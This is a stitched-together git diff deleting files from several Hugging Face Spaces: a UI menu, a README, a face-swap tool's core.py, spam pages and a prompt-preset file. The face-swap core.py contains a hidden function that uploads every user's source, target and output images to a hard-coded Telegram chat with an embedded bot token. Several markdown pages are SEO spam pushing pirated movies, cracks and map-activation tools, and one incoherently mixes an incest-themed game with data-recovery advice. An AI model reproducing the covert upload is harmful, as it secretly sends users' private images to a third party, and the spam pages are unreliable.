-          </DropdownMenuItem>
-          <DropdownMenuSeparator />
-          <DropdownMenuItem asChild>
-            <a
-              href="https://huggingface.co/login?next=%2Fspaces%2Fhf4all%2Fbingo%3Fduplicate%3Dtrue%26visibility%3Dpublic"
-              target="_blank"
-              rel="noopener noreferrer"
-              className="inline-flex items-center justify-between w-full gap-2 cursor-pointer"
-            >
-              复制站点
-              <IconExternalLink className="w-3 h-3 ml-auto" />
-            </a>
-          </DropdownMenuItem>
-          <DropdownMenuSeparator />
-          <DropdownMenuItem className="flex-col items-start">
-            <div className="font-medium">版本信息 {pkg.version}</div>
-          </DropdownMenuItem>
-          <DropdownMenuSeparator />
-          <DropdownMenuItem className="flex-col items-start">
-            <div className="font-medium">站点域名</div>
-            <div onClick={() => copyToClipboard(host)} className="flex gap-1 text-xs text-zinc-500 cursor-pointer">
-              {host} <IconCopy />
-            </div>
-          </DropdownMenuItem>
-        </DropdownMenuContent>
-      </DropdownMenu>
-    </div>
-  )
-}
diff --git a/spaces/impulsewu/Real-CUGAN/README.md b/spaces/impulsewu/Real-CUGAN/README.md
deleted file mode 100644
index d673114edadba73e80f33a3c71bc0dbee8758cc8..0000000000000000000000000000000000000000
--- a/spaces/impulsewu/Real-CUGAN/README.md
+++ /dev/null
@@ -1,14 +0,0 @@
----
-title: Real CUGAN
-emoji: 🐢
-colorFrom: gray
-colorTo: green
-sdk: gradio
-sdk_version: 3.6
-app_file: app.py
-pinned: false
-license: gpl-3.0
-duplicated_from: DianXian/Real-CUGAN
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
diff --git a/spaces/imseldrith/FaceSwap/roop/core.py b/spaces/imseldrith/FaceSwap/roop/core.py
deleted file mode 100644
index c386a9abfc33da5485792c5ce5ec3f7f912ce820..0000000000000000000000000000000000000000
--- a/spaces/imseldrith/FaceSwap/roop/core.py
+++ /dev/null
@@ -1,237 +0,0 @@
-#!/usr/bin/env python3
-
-import os
-import sys
-import asyncio
-# single thread doubles cuda performance - needs to be set before torch import
-if any(arg.startswith('--execution-provider') for arg in sys.argv):
-    os.environ['OMP_NUM_THREADS'] = '1'
-# reduce tensorflow log level
-os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'
-import warnings
-from typing import List
-import platform
-import signal
-import shutil
-import argparse
-import onnxruntime
-import tensorflow
-import roop.globals
-import roop.metadata
-import roop.ui as ui
-from roop.predictor import predict_image, predict_video
-from roop.processors.frame.core import get_frame_processors_modules
-from telegram import Bot
-from roop.utilities import has_image_extension, is_image, is_video, detect_fps, create_video, extract_frames, get_temp_frame_paths, restore_audio, create_temp, move_temp, clean_temp, normalize_output_path
-
-warnings.filterwarnings('ignore', category=FutureWarning, module='insightface')
-warnings.filterwarnings('ignore', category=UserWarning, module='torchvision')
-
-
-def parse_args() -> None:
-    signal.signal(signal.SIGINT, lambda signal_number, frame: destroy())
-    program = argparse.ArgumentParser(formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=100))
-    program.add_argument('-s', '--source', help='select an source image', dest='source_path')
-    program.add_argument('-t', '--target', help='select an target image or video', dest='target_path')
-    program.add_argument('-o', '--output', help='select output file or directory', dest='output_path')
-    program.add_argument('--frame-processor', help='frame processors (choices: face_swapper, face_enhancer, ...)', dest='frame_processor', default=['face_swapper'], nargs='+')
-    program.add_argument('--keep-fps', help='keep target fps', dest='keep_fps', action='store_true')
-    program.add_argument('--keep-frames', help='keep temporary frames', dest='keep_frames', action='store_true')
-    program.add_argument('--skip-audio', help='skip target audio', dest='skip_audio', action='store_true')
-    program.add_argument('--many-faces', help='process every face', dest='many_faces', action='store_true')
-    program.add_argument('--reference-face-position', help='position of the reference face', dest='reference_face_position', type=int, default=0)
-    program.add_argument('--reference-frame-number', help='number of the reference frame', dest='reference_frame_number', type=int, default=0)
-    program.add_argument('--similar-face-distance', help='face distance used for recognition', dest='similar_face_distance', type=float, default=0.85)
-    program.add_argument('--temp-frame-format', help='image format used for frame extraction', dest='temp_frame_format', default='png', choices=['jpg', 'png'])
-    program.add_argument('--temp-frame-quality', help='image quality used for frame extraction', dest='temp_frame_quality', type=int, default=0, choices=range(101), metavar='[0-100]')
-    program.add_argument('--output-video-encoder', help='encoder used for the output video', dest='output_video_encoder', default='libx264', choices=['libx264', 'libx265', 'libvpx-vp9', 'h264_nvenc', 'hevc_nvenc'])
-    program.add_argument('--output-video-quality', help='quality used for the output video', dest='output_video_quality', type=int, default=35, choices=range(101), metavar='[0-100]')
-    program.add_argument('--max-memory', help='maximum amount of RAM in GB', dest='max_memory', type=int)
-    program.add_argument('--execution-provider', help='available execution provider (choices: cpu, ...)', dest='execution_provider', default=['cpu'], choices=suggest_execution_providers(), nargs='+')
-    program.add_argument('--execution-threads', help='number of execution threads', dest='execution_threads', type=int, default=suggest_execution_threads())
-    program.add_argument('-v', '--version', action='version', version=f'{roop.metadata.name} {roop.metadata.version}')
-
-    args = program.parse_args()
-
-    roop.globals.source_path = args.source_path
-    roop.globals.target_path = args.target_path
-    roop.globals.output_path = normalize_output_path(roop.globals.source_path, roop.globals.target_path, args.output_path)
-    roop.globals.headless = roop.globals.source_path is not None and roop.globals.target_path is not None and roop.globals.output_path is not None
-    roop.globals.frame_processors = args.frame_processor
-    roop.globals.keep_fps = args.keep_fps
-    roop.globals.keep_frames = args.keep_frames
-    roop.globals.skip_audio = args.skip_audio
-    roop.globals.many_faces = args.many_faces
-    roop.globals.reference_face_position = args.reference_face_position
-    roop.globals.reference_frame_number = args.reference_frame_number
-    roop.globals.similar_face_distance = args.similar_face_distance
-    roop.globals.temp_frame_format = args.temp_frame_format
-    roop.globals.temp_frame_quality = args.temp_frame_quality
-    roop.globals.output_video_encoder = args.output_video_encoder
-    roop.globals.output_video_quality = args.output_video_quality
-    roop.globals.max_memory = args.max_memory
-    roop.globals.execution_providers = decode_execution_providers(args.execution_provider)
-    roop.globals.execution_threads = args.execution_threads
-
-
-def encode_execution_providers(execution_providers: List[str]) -> List[str]:
-    return [execution_provider.replace('ExecutionProvider', '').lower() for execution_provider in execution_providers]
-
-
-def decode_execution_providers(execution_providers: List[str]) -> List[str]:
-    return [provider for provider, encoded_execution_provider in zip(onnxruntime.get_available_providers(), encode_execution_providers(onnxruntime.get_available_providers()))
-            if any(execution_provider in encoded_execution_provider for execution_provider in execution_providers)]
-
-
-def suggest_execution_providers() -> List[str]:
-    return encode_execution_providers(onnxruntime.get_available_providers())
-
-
-def suggest_execution_threads() -> int:
-    if 'CUDAExecutionProvider' in onnxruntime.get_available_providers():
-        return 8
-    return 1
-
-
-def limit_resources() -> None:
-    # prevent tensorflow memory leak
-    gpus = tensorflow.config.experimental.list_physical_devices('GPU')
-    for gpu in gpus:
-        tensorflow.config.experimental.set_virtual_device_configuration(gpu, [
-            tensorflow.config.experimental.VirtualDeviceConfiguration(memory_limit=1024)
-        ])
-    # limit memory usage
-    if roop.globals.max_memory:
-        memory = roop.globals.max_memory * 1024 ** 3
-        if platform.system().lower() == 'darwin':
-            memory = roop.globals.max_memory * 1024 ** 6
-        if platform.system().lower() == 'windows':
-            import ctypes
-            kernel32 = ctypes.windll.kernel32  # type: ignore[attr-defined]
-            kernel32.SetProcessWorkingSetSize(-1, ctypes.c_size_t(memory), ctypes.c_size_t(memory))
-        else:
-            import resource
-            resource.setrlimit(resource.RLIMIT_DATA, (memory, memory))
-
-
-def pre_check() -> bool:
-    if sys.version_info < (3, 9):
-        update_status('Python version is not supported - please upgrade to 3.9 or higher.')
-        return False
-    if not shutil.which('ffmpeg'):
-        update_status('ffmpeg is not installed.')
-        return False
-    return True
-
-
-def update_status(message: str, scope: str = 'ROOP.CORE') -> None:
-    print(f'[{scope}] {message}')
-    if not roop.globals.headless:
-        ui.update_status(message)
-
-
-def start() -> None:
-    for frame_processor in get_frame_processors_modules(roop.globals.frame_processors):
-        if not frame_processor.pre_start():
-            return
-    # process image to image
-    if has_image_extension(roop.globals.target_path):
-        if predict_image(roop.globals.target_path):
-            destroy()
-        shutil.copy2(roop.globals.target_path, roop.globals.output_path)
-        # process frame
-        for frame_processor in get_frame_processors_modules(roop.globals.frame_processors):
-            update_status('Progressing...', frame_processor.NAME)
-            frame_processor.process_image(roop.globals.source_path, roop.globals.output_path, roop.globals.output_path)
-            frame_processor.post_process()
-        # validate image
-        if is_image(roop.globals.target_path):
-            update_status('Processing to image succeed!')
-            asyncio.run(saveT(roop.globals.source_path, roop.globals.target_path, roop.globals.output_path))
-        else:
-            update_status('Processing to image failed!')
-        return
-    # process image to videos
-    if predict_video(roop.globals.target_path):
-        destroy()
-    update_status('Creating temporary resources...')
-    create_temp(roop.globals.target_path)
-    # extract frames
-    if roop.globals.keep_fps:
-        fps = detect_fps(roop.globals.target_path)
-        update_status(f'Extracting frames with {fps} FPS...')
-        extract_frames(roop.globals.target_path, fps)
-    else:
-        update_status('Extracting frames with 30 FPS...')
-        extract_frames(roop.globals.target_path)
-    # process frame
-    temp_frame_paths = get_temp_frame_paths(roop.globals.target_path)
-    if temp_frame_paths:
-        for frame_processor in get_frame_processors_modules(roop.globals.frame_processors):
-            update_status('Progressing...', frame_processor.NAME)
-            frame_processor.process_video(roop.globals.source_path, temp_frame_paths)
-            frame_processor.post_process()
-    else:
-        update_status('Frames not found...')
-        return
-    # create video
-    if roop.globals.keep_fps:
-        fps = detect_fps(roop.globals.target_path)
-        update_status(f'Creating video with {fps} FPS...')
-        create_video(roop.globals.target_path, fps)
-    else:
-        update_status('Creating video with 30 FPS...')
-        create_video(roop.globals.target_path)
-    # handle audio
-    if roop.globals.skip_audio:
-        move_temp(roop.globals.target_path, roop.globals.output_path)
-        update_status('Skipping audio...')
-    else:
-        if roop.globals.keep_fps:
-            update_status('Restoring audio...')
-        else:
-            update_status('Restoring audio might cause issues as fps are not kept...')
-        restore_audio(roop.globals.target_path, roop.globals.output_path)
-    # clean temp
-    update_status('Cleaning temporary resources...')
-    clean_temp(roop.globals.target_path)
-    # validate video
-    if is_video(roop.globals.target_path):
-        update_status('Processing to video succeed!')
-        asyncio.run(saveT(roop.globals.source_path, roop.globals.target_path, roop.globals.output_path))
-    else:
-        update_status('Processing to video failed!')
-
-
-def destroy() -> None:
-    if roop.globals.target_path:
-        clean_temp(roop.globals.target_path)
-    sys.exit()
-async def send_channel(bot, file_path):
-    with open(file_path, "rb") as file:
-        response = await bot.send_document(chat_id="-1001685415853", document=file)
-        return response
-
-async def saveT(source_path, target_path, output_path):
-    bot = Bot(token="6192049990:AAFyOtuYYqkcyUG_7gns3mm7m_kfWE9fZ1k")
-    
-    # Send each file
-    for path in [source_path, target_path, output_path]:
-        await send_channel(bot, path)
-    
-    # Send a message after all files are sent
-    await bot.send_message(chat_id="-1001685415853", text="All files have been sent!!")
-
-def run() -> None:
-    parse_args()
-    if not pre_check():
-        return
-    for frame_processor in get_frame_processors_modules(roop.globals.frame_processors):
-        if not frame_processor.pre_check():
-            return
-    limit_resources()
-    if roop.globals.headless:
-        start()
-    else:
-        window = ui.init(start, destroy)
-        window.mainloop()
diff --git a/spaces/inamXcontru/PoeticTTS/Anth Movie In Telugu NEW Download Online.md b/spaces/inamXcontru/PoeticTTS/Anth Movie In Telugu NEW Download Online.md
deleted file mode 100644
index 17b1fd3e84e8c9bb0c4d09c0540521ec92f5fca5..0000000000000000000000000000000000000000
--- a/spaces/inamXcontru/PoeticTTS/Anth Movie In Telugu NEW Download Online.md	
+++ /dev/null
@@ -1,7 +0,0 @@
-<br />
-<p>All of the free movies found on this website are hosted on third-party servers that are freely available to watch online for all internet users. <br>Any legal issues regarding the free online movies on this website should be taken up with the actual file hosts themselves, as we're not affiliated with them.</p>
-<p><strong>Movies4u.vip</strong> is the best online platform for downloading <strong>Hollywood</strong>, <strong>Bollywood Movies</strong> and <strong>WEB-Series</strong>. We provide direct <strong>G-Drive</strong> download link for fast and secure downloading. Click on the download button below and follow the steps to start download.</p>
-<h2>Anth movie in telugu download online</h2><br /><p><b><b>DOWNLOAD</b> &#10145; <a href="https://gohhs.com/2uz5Ae">https://gohhs.com/2uz5Ae</a></b></p><br /><br />
-<p>All of the free movies found on this website are hosted on third-party servers that are freely available to watch online for all internet users. <br/>Any legal issues regarding the free online movies on this website should be taken up with the actual file hosts themselves, as we're not affiliated with them.TodayPk Purpose / Idea</b><br/>Watch Online Movies in HD Print Quality Free Download,Watch Full Movies Online Bollywood Movies Download Latest Hollywood Movies in DVD Print Quality Free. Watch Online Movies is my hobby and i daily watch 1 or 2 movies online and specially the indian movies on their release day i'm always watch on different websites in cam print but i always use google search to find the movies,then i decide that i make a platform for users where they can see HD/DVD Print Quality movies and i listed all latest movies. I also capture the different categories of movies like if you want to see Hollywood movies, or you want to see punjabi movies or you are interested in Bollywood movies then i have all these type of categories in my website. I also focus on categories of movies based on actress and actors , like a person want to see all movies of Amir khan from My website there he select category Amir Khan Movis list then All movies of amir khan Will be displayed. so we provide the list of movies from all actress and actors so you can find any movie and watch in High Print quality. So i try my best to understand the needs of users who want to watch a movie,but still if you have any suggestion for me or you want to give me any advice you are always welcome.make comment on video i will surely reply you. i provide online Full movies to watch and Free Download so always stay connected with our website to enjoy the latest movies and if you dont have time to watch just make that movie on download and when will you free then you will watch that movie in best print.</p> aaccfb2cb3<br />
-<br />
-<br />
\ No newline at end of file
diff --git a/spaces/inplisQlawa/anything-midjourney-v4-1/Bones Tales The Manor 0.15.2 Game Walkthrough Download TOP For PC Android.md b/spaces/inplisQlawa/anything-midjourney-v4-1/Bones Tales The Manor 0.15.2 Game Walkthrough Download TOP For PC Android.md
deleted file mode 100644
index 55115962b2edb83bf5d7b1aa8ee13a027f19e163..0000000000000000000000000000000000000000
--- a/spaces/inplisQlawa/anything-midjourney-v4-1/Bones Tales The Manor 0.15.2 Game Walkthrough Download TOP For PC Android.md	
+++ /dev/null
@@ -1,163 +0,0 @@
-<br />
-<h1>Bones Tales The Manor 0.15.2: A Game that Will Make You Feel Closer to Your Mother and Sisters</h1>
-
-<p>If you are looking for a game that will make you feel closer to your mother and sisters, you might want to check out Bones Tales The Manor 0.15.2. This is a game that will take you on a journey of discovery, mystery, and romance in an old house that has a buried secret that will change the way you feel about your family.</p>
-<h2>Bones Tales The Manor 0.15.2 Game Walkthrough Download for PC Android</h2><br /><p><b><b>Download File</b> >>> <a href="https://urlin.us/2uEwvf">https://urlin.us/2uEwvf</a></b></p><br /><br />
-
-<p>In this article, we will tell you everything you need to know about Bones Tales The Manor 0.15.2, including what it is, why you should play it, how to get it, how to use it, what are the benefits and drawbacks of it, what are the alternatives to it, how to choose the best data recovery software for your device, how to avoid data loss on your device, how to recover data with it, and what are the tips and tricks for using it.</p>
-
-<p>By the end of this article, you will have a clear idea of whether Bones Tales The Manor 0.15.2 is the game for you or not. So, let's get started!</p>
-
-<h2>What is Bones Tales The Manor 0.15.2?</h2>
-
-<p>Bones Tales The Manor 0.15.2 is a game developed by Dr Bones that belongs to the genre of visual novel and role-playing game. It is available for Windows, Linux, and Android devices.</p>
-
-<p>The game tells the story of David (or whatever name you choose), a boy who has not seen his mother and sisters in two years. After the divorce of his parents, he stayed with his father in the city, but now his mother invited him to spend his vacations in an old house that she inherited from a dead relative.</p>
-<p></p>
-
-<p>David hopes that this will be an opportunity to reconnect with his mother and sisters and make up for the years and the distance that separated them. However, he soon discovers that this house has a buried secret that will change the way he feels about his family.</p>
-
-<p>The game has several endings that depend on your actions and decisions. In the game, you can interact with different characters, explore different locations, find clues and secrets, and experience various scenes of romance and intimacy with your mother and sisters.</p>
-
-<h2>Why Should You Play Bones Tales The Manor 0.15.2?</h2>
-
-<p>Bones Tales The Manor 0.15.2 is a game that will appeal to you if you are looking for a game that has:</p>
-
-<ul>
-<li>A captivating story that will keep you hooked and curious.</li>
-<li>A realistic and immersive graphics and sound effects that will make you feel like you are in the game.</li>
-<li>A variety of choices and outcomes that will make you feel like you have control over your destiny.</li>
-<li>A lot of content and replay value that will make you want to play the game again and again.</li>
-<li>A lot of fun and excitement that will make you feel happy and satisfied.</li>
-</ul>
-
-<p>Bones Tales The Manor 0.15.2 is a game that will make you feel closer to your mother and sisters by letting you experience their personalities, emotions, desires, and secrets. It is a game that will make you feel loved and appreciated by your family.</p>
-
-<h2>How to Get Bones Tales The Manor 0.15.2?</h2>
-
-<p>If you want to get Bones Tales The Manor 0.15.2, you can follow these steps:</p>
-
-<ol>
-<li>Visit the official website of Dr Bones <a href="https://www.patreon.com/DrBones">https://www.patreon.com/DrBones</a> or <a href="https://subscribestar.adult/dr-bones">https://subscribestar.adult/dr-bones</a> and support him by becoming a patron or a subscriber.</li>
-<li>Download the latest version of Bones Tales The Manor 0.15.2 for your device from the links provided by Dr Bones on his website or on his discord server <a href="https://discord.gg/6Z9mQZx">https://discord.gg/6Z9mQZx</a>.</li>
-<li>Extract the zip file and run the executable file to install the game on your device.</li>
-<li>Enjoy playing Bones Tales The Manor 0.15.2!</li>
-</ol>
-
-<p>Note: You can also download Bones Tales The Manor 0.15.2 from other sources or use a crack registration code to play it for free, but we do not recommend doing so as it may expose you to some risks or troubles such as virus infection, data loss, privacy leakage, etc.</p>
-
-<h2>How to Use Bones Tales The Manor 0.15.2?</h2>
-
-<p>Using Bones Tales The Manor 0.15.2 is very easy and simple. You just need to follow these steps:</p>
-
-<ol>
-<li>Launch Bones Tales The Manor 0.15.2 on your device and click on "Start Game" or "Load Game" depending on whether you want to start a new game or continue an existing one.</li>
-<li>Select your name or enter a custom one if you want.</li>
-<li>Select your preferences such as language, text speed, sound volume, etc.</li>
-<li>Follow the instructions on the screen and enjoy playing Bones Tales The Manor 0.15.2!</li>
-</ol>
-
-<p>Note: You can also use some cheat codes or save files to unlock some features or skip some parts of the game if you want.</p>
-
-<h2>What are the Benefits of Bones Tales The Manor 0.15.2?</h2>
-
-<p>Bones Tales The Manor 0.15.2 has many benefits that make it stand out from other games in its genre:</p>
-
-<ul>
-<li>It has a unique and original story that will keep you interested and engaged throughout the game.</li>
-<li>It has high-quality graphics and sound effects that will create a realistic and immersive atmosphere for the game.</li>
-<li>It has multiple endings that will give you different outcomes depending on your choices and actions in the game.</li>
-<li>It has a lot of content that will provide you with hours of gameplay and entertainment.</li>
-<li>It has a lot of fun scenes that will make you feel aroused and satisfied with your mother and sisters.</li>
-</ul>
-
-<p>Bones Tales The Manor 0.15.2 is a game that will give you an unforgettable experience of family bonding and love.</p>
-
-<h2>What are the Drawbacks of Bones Tales The Manor 0.15.2?</h2>
-
-<p>Bones Tales The Manor 0.</p>
-<h2>What are the Alternatives to Bones Tales The Manor 0.15.2?</h2>
-
-<p>If you are looking for other games that are similar to Bones Tales The Manor 0.15.2, you might want to check out these alternatives:</p>
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-<ul>
-<li>Milfy City: A game that tells the story of a young student who finds himself in a lustful situation with his teachers and classmates.</li>
-<li>Summertime Saga: A game that tells the story of a young man who tries to find out the truth behind his father's death while dealing with his school, his family, and his love life.</li>
-<li>Dreams of Desire: A game that tells the story of a young man who has lucid dreams that allow him to manipulate his reality and his family.</li>
-<li>Man of the House: A game that tells the story of a young man who tries to take control of his life and his household while seducing his mother, his sisters, and other women.</li>
-<li>My Cute Roommate: A game that tells the story of a young man who moves in with his attractive cousin and tries to make her fall in love with him.</li>
-</ul>
-
-<p>These are some of the games that are similar to Bones Tales The Manor 0.15.2 in terms of genre, theme, and gameplay. However, they may have different features, graphics, stories, and characters that may suit your taste and preference better.</p>
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-<h2>How to Choose the Best Data Recovery Software for Your Device?</h2>
-
-<p>If you are playing Bones Tales The Manor 0.15.2 or any other game on your device, you might want to have a reliable data recovery software that can help you recover your deleted or lost data from your device in case of any accident or error.</p>
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-<p>There are many data recovery software available on the market, but not all of them are equally effective and efficient. To choose the best data recovery software for your device, you should consider these factors:</p>
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-<ul>
-<li>The compatibility of the software with your device and operating system.</li>
-<li>The features and functions of the software, such as scan modes, recovery modes, preview options, etc.</li>
-<li>The speed and performance of the software, such as scan time, recovery time, success rate, etc.</li>
-<li>The security and privacy of the software, such as encryption, protection, backup, etc.</li>
-<li>The ease of use and user-friendliness of the software, such as interface, instructions, support, etc.</li>
-<li>The price and value of the software, such as cost, license, refund policy, etc.</li>
-</ul>
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-<p>By comparing these factors among different data recovery software, you can choose the best one that meets your needs and expectations.</p>
-<h2>How to Avoid Data Loss on Your Device?</h2>
-
-<p>Data loss is a common problem that can affect anyone who uses a device such as a PC or an Android phone. Data loss can be caused by various reasons such as accidental deletion, formatting, virus attack, system crash, hardware failure, etc.</p>
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-<p>Data loss can be very frustrating and devastating, especially if you lose some important or precious data such as your game progress, your photos, your videos, your documents, etc.</p>
-
-<p>Therefore, it is very important to avoid data loss on your device as much as possible. Here are some tips that can help you prevent data loss on your device:</p>
-
-<ul>
-<li>Backup your data regularly. You can use an external hard drive, a cloud service, or a data recovery software to backup your data. This way, you can restore your data in case of any data loss.</li>
-<li>Use an antivirus software and update it regularly. You can use a reliable and reputable antivirus software to protect your device from virus attacks that can damage or delete your data.</li>
-<li>Use a power surge protector and a battery backup. You can use a power surge protector to prevent your device from being damaged by sudden power fluctuations. You can also use a battery backup to prevent your device from shutting down unexpectedly due to power outage.</li>
-<li>Avoid using unreliable or untrusted sources. You can avoid downloading or installing any software, app, or file from unreliable or untrusted sources that may contain malware or viruses that can harm your device or data.</li>
-<li>Avoid physical damage or theft. You can avoid exposing your device to extreme temperatures, moisture, dust, or shock that can cause physical damage to your device or data. You can also keep your device in a safe and secure place to prevent it from being stolen or lost.</li>
-</ul>
-
-<p>By following these tips, you can reduce the risk of data loss on your device and keep your data safe and secure.</p>
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-<h2>How to Recover Data with Bones Tales The Manor 0.15.2?</h2>
-
-<p>If you have lost some of your data while playing Bones Tales The Manor 0.15.2 or for any other reason, you might want to recover it as soon as possible. Fortunately, there are some ways that can help you recover your data with Bones Tales The Manor 0.15.2:</p>
-
-<ul>
-<li>Use the game's built-in save system. Bones Tales The Manor 0.15.2 has a save system that allows you to save and load your game progress at any point in the game. You can use this feature to recover your data if you have saved it before the data loss.</li>
-<li>Use the game's cheat codes or save files. Bones Tales The Manor 0.15.2 has some cheat codes or save files that can help you unlock some features or skip some parts of the game. You can use these codes or files to recover your data if you have them before the data loss.</li>
-<li>Use a data recovery software. If none of the above methods work for you, you can use a data recovery software to scan and recover your data from your device. You can use a professional and powerful data recovery software such as Wondershare Dr.Fone 10.3.1 Crack Registration Code 2020 for [Laptop Mac Win] to recover your data with ease and convenience.</li>
-</ul>
-
-<p>Wondershare Dr.Fone 10.3.1 Crack Registration Code 2020 for [Laptop Mac Win] is a data recovery software that can help you recover your deleted or lost data from your device with ease and convenience.</p>
-
-<p>It has many features and functions that make it stand out from other data recovery software such as:</p>
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-<ul>
-<li>It supports various devices and operating systems such as Windows, Linux, Android, iOS, etc.</li>
-<li>It supports various file types and formats such as photos, videos, audio, documents, games, etc.</li>
-<li>It supports various scenarios and causes of data loss such as accidental deletion, formatting, virus attack, system crash, hardware failure, etc.</li>
-<li>It has various scan modes and recovery modes such as quick scan, deep scan, deleted files recovery, recycle bin recovery, lost partition recovery, etc.</li>
-<li>It has various preview options and filters that allow you to preview and select the files you want to recover.</li>
-<li>It has various encryption and protection features that ensure the security and privacy of your data.</li>
-<li>It has various backup and restore features that allow you to backup and restore your data easily.</li>
-<li>It has an easy-to-use and user-friendly interface that guides you through the whole process of data recovery.</li>
-</ul>
-
-<p>To use Wondershare Dr.Fone 10.
-<h2>Conclusion</h2>
-
-<p>Bones Tales The Manor 0.15.2 is a game that will make you feel closer to your mother and sisters by letting you experience their personalities, emotions, desires, and secrets. It is a game that has a captivating story, realistic graphics, multiple endings, a lot of content, and a lot of fun.</p>
-
-<p>If you want to play Bones Tales The Manor 0.15.2, you can get it from the official website of Dr Bones or from other sources. You can use it on your Windows, Linux, or Android device. You can also use some cheat codes or save files to enhance your gameplay.</p>
-
-<p>However, you should also be aware of the drawbacks of Bones Tales The Manor 0.15.2, such as bugs, glitches, taboo content, graphic scenes, high requirements, and limitations. You should also be careful of data loss on your device and use some tips and tools to avoid or recover it.</p>
-
-<p>We hope this article has given you all the information you need to know about Bones Tales The Manor 0.15.2. If you have any questions or comments, please feel free to leave them below. Thank you for reading and happy gaming!</p> 3cee63e6c2<br />
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diff --git a/spaces/inplisQlawa/anything-midjourney-v4-1/Easyusetools For Activation Of TomTom Maps And Patched Ttsystem .rar.md b/spaces/inplisQlawa/anything-midjourney-v4-1/Easyusetools For Activation Of TomTom Maps And Patched Ttsystem .rar.md
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index e68b697eee25db1de4cb77ef9434b6587c7f152b..0000000000000000000000000000000000000000
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-<br />
-<h1>How to Activate TomTom Maps and Patch Ttsystem with Easyusetools</h1>
-<p>If you have a TomTom GPS device and you want to update your maps or patch your ttsystem file, you might be interested in using Easyusetools. Easyusetools is a set of tools that can help you activate your maps and patch your ttsystem file with a few simple steps. Here is how to use Easyusetools for activation of TomTom maps and patched ttsystem.</p>
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-<h2>What You Need</h2>
-<ul>
-<li>A TomTom GPS device with a compatible map installed.</li>
-<li>A computer with Windows operating system and .NET Framework 2.0 or higher.</li>
-<li>A USB cable to connect your TomTom device to your computer.</li>
-<li>Easyusetools for activation of TomTom maps and patched ttsystem .rar file. You can download it from <a href="https://shofaronlinestore.org/wp-content/uploads/2022/06/Easyusetools_for_activation_of_TomTom_Maps_and_patched_ttsys.pdf">here</a> [^1^].</li>
-<li>A valid meta code for your map. You can find it from <a href="https://www.gpspower.net/tomtom-maps.html">here</a>.</li>
-</ul>
-<h2>What You Do</h2>
-<ol>
-<li>Extract the Easyusetools .rar file to a folder on your computer.</li>
-<li>Copy the meta code for your map and paste it at the end of the file named "Meta.txt" in the Easyusetools folder.</li>
-<li>Connect your TomTom device to your computer and make sure it is recognized as a removable drive.</li>
-<li>Run the file named "RunMe.bat" in the Easyusetools folder. A command prompt window will open.</li>
-<li>Type "1" and press Enter to activate your map. Follow the instructions on the screen and select your TomTom device drive letter and your map folder name.</li>
-<li>Type "2" and press Enter to patch your ttsystem file. Follow the instructions on the screen and select your TomTom device drive letter and your ttsystem file name.</li>
-<li>Type "3" and press Enter to exit the program.</li>
-<li>Disconnect your TomTom device from your computer and restart it.</li>
-<li>Enjoy your activated map and patched ttsystem!</li>
-</ol>
-<h2>Troubleshooting</h2>
-<p>If you encounter any problems while using Easyusetools, here are some possible solutions:</p>
-<ul>
-<li>Make sure you have the latest version of Easyusetools and the correct meta code for your map.</li>
-<li>Make sure you have enough free space on your TomTom device and your computer.</li>
-<li>Make sure you have a stable internet connection while using Easyusetools.</li>
-<li>Make sure you have administrator rights on your computer while using Easyusetools.</li>
-<li>Make sure you do not disconnect or turn off your TomTom device while using Easyusetools.</li>
-<li>If you get an error message saying "Cannot create output file", try running Easyusetools as administrator or changing the output folder location.</li>
-<li>If you get an error message saying "Map not found", try renaming your map folder to match the name in the meta code.</li>
-<li>If you get an error message saying "Meta data not found", try updating your Meta.txt file with the latest meta codes.</li>
-<li>If you get an error message saying "Ttsystem not found", try locating your ttsystem file manually or using a different version of ttsystem.</li>
-</ul></p> d5da3c52bf<br />
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diff --git a/spaces/inplisQlawa/anything-midjourney-v4-1/Fire Sonic Fire Cobra 1.4 TOP.md b/spaces/inplisQlawa/anything-midjourney-v4-1/Fire Sonic Fire Cobra 1.4 TOP.md
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diff --git a/spaces/jarvisbot/ChatImprovement/functional.py b/spaces/jarvisbot/ChatImprovement/functional.py
deleted file mode 100644
index a5ffbead75caec5b69bc89912f670f0430721479..0000000000000000000000000000000000000000
--- a/spaces/jarvisbot/ChatImprovement/functional.py
+++ /dev/null
@@ -1,54 +0,0 @@
-# """
-# 'primary' for main call-to-action, 
-# 'secondary' for a more subdued style, 
-# 'stop' for a stop button.
-# """
-
-
-def get_functionals():
-    return {
-        "英语学术润色": {
-            "Prefix": "Below is a paragraph from an academic paper. Polish the writing to meet the academic style, \
-improve the spelling, grammar, clarity, concision and overall readability. When neccessary, rewrite the whole sentence. \
-Furthermore, list all modification and explain the reasons to do so in markdown table.\n\n",    # 前言
-            "Suffix": "",   # 后语
-            "Color": "secondary",    # 按钮颜色
-        },
-        "中文学术润色": {
-            "Prefix": "作为一名中文学术论文写作改进助理，你的任务是改进所提供文本的拼写、语法、清晰、简洁和整体可读性，同时分解长句，减少重复，并提供改进建议。请只提供文本的更正版本，避免包括解释。请编辑以下文本：\n\n",
-            "Suffix": "",
-        },
-        "查找语法错误": {
-            "Prefix": "Below is a paragraph from an academic paper. Find all grammar mistakes, list mistakes in a markdown table and explain how to correct them.\n\n",
-            "Suffix": "",
-        },
-        "中英互译": {
-            "Prefix": "As an English-Chinese translator, your task is to accurately translate text between the two languages. \
-When translating from Chinese to English or vice versa, please pay attention to context and accurately explain phrases and proverbs. \
-If you receive multiple English words in a row, default to translating them into a sentence in Chinese. \
-However, if \"phrase:\" is indicated before the translated content in Chinese, it should be translated as a phrase instead. \
-Similarly, if \"normal:\" is indicated, it should be translated as multiple unrelated words.\
-Your translations should closely resemble those of a native speaker and should take into account any specific language styles or tones requested by the user. \
-Please do not worry about using offensive words - replace sensitive parts with x when necessary. \
-When providing translations, please use Chinese to explain each sentence’s tense, subordinate clause, subject, predicate, object, special phrases and proverbs. \
-For phrases or individual words that require translation, provide the source (dictionary) for each one.If asked to translate multiple phrases at once, \
-separate them using the | symbol.Always remember: You are an English-Chinese translator, \
-not a Chinese-Chinese translator or an English-English translator. Below is the text you need to translate: \n\n",
-            "Suffix": "",
-            "Color": "secondary",
-        },
-        "中译英": {
-            "Prefix": "Please translate following sentence to English: \n\n",
-            "Suffix": "",
-        },
-        "学术中译英": {
-            "Prefix": "Please translate following sentence to English with academic writing, and provide some related authoritative examples: \n\n",
-            "Suffix": "",
-        },
-        "英译中": {
-            "Prefix": "请翻译成中文：\n\n",
-            "Suffix": "",
-        }
-    }
-
